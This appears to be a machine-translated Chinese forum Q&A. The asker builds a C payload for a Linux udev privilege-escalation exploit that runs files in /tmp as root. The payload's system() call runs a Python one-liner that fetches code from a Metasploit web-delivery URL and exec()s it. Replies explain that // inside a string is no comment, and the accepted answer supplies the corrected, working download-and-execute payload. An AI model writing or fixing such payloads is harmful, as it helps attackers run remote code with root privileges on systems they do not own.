2016-04-28 71 views
0

我一直在嘗試在Linux上進行特權升級攻擊,它會以root用戶(Linux kernel 2.6 UDEV exploit)的身份運行/ tmp/run中的任何文件。我決定在C中製作我的有效載荷(用於增加挑戰)。它只需執行一個python命令(由Metasploit的web交付模塊生成)。問題是,當我以字符串的形式輸入URL時,http://中的//將註釋掉URL的其餘部分。如何阻止URL被註釋(C)

我不知道那麼多的C,所以我不知道如何解決這個問題。這可能看起來有些小聲,但我確實無法在任何地方找到答案。

當前代碼:

#include <stdio.h> 

int main(void) { 
    system("python -c \"import urllib2; r = urllib2.urlopen('http://0.0.0.0:8080/tmmPIejv70OV'); exec(r.read());\"" <== // in http:// comments out rest of line 
    return 0; 

} 

是否有解決這一問題的適當辦法?

+0

逃生用一個反斜槓(用於轉義字符都反斜線所以你會得到的http://// –

+1

是什麼讓你覺得''//被註釋掉線 – duskwuff

+3

難道是?你的文本編輯器的語法突出顯示被破壞了嗎?因爲它不應該將它註釋掉,因爲它在一個字符串內。 – Krumelur

回答

4

//不在字符串文字內註釋。在字符串中使用//不是您發佈的問題,而應該通過關閉)完成system函數調用。

#include <stdio.h> 

int main(void) { 
    system("python -c \"import urllib2; r = urllib2.urlopen('http://0.0.0.0:8080/tmmPIejv70OV'); exec(r.read());\""); 
    return 0; 
} 
+0

謝謝。這很愚蠢,因爲這讓我覺得,謝謝。 –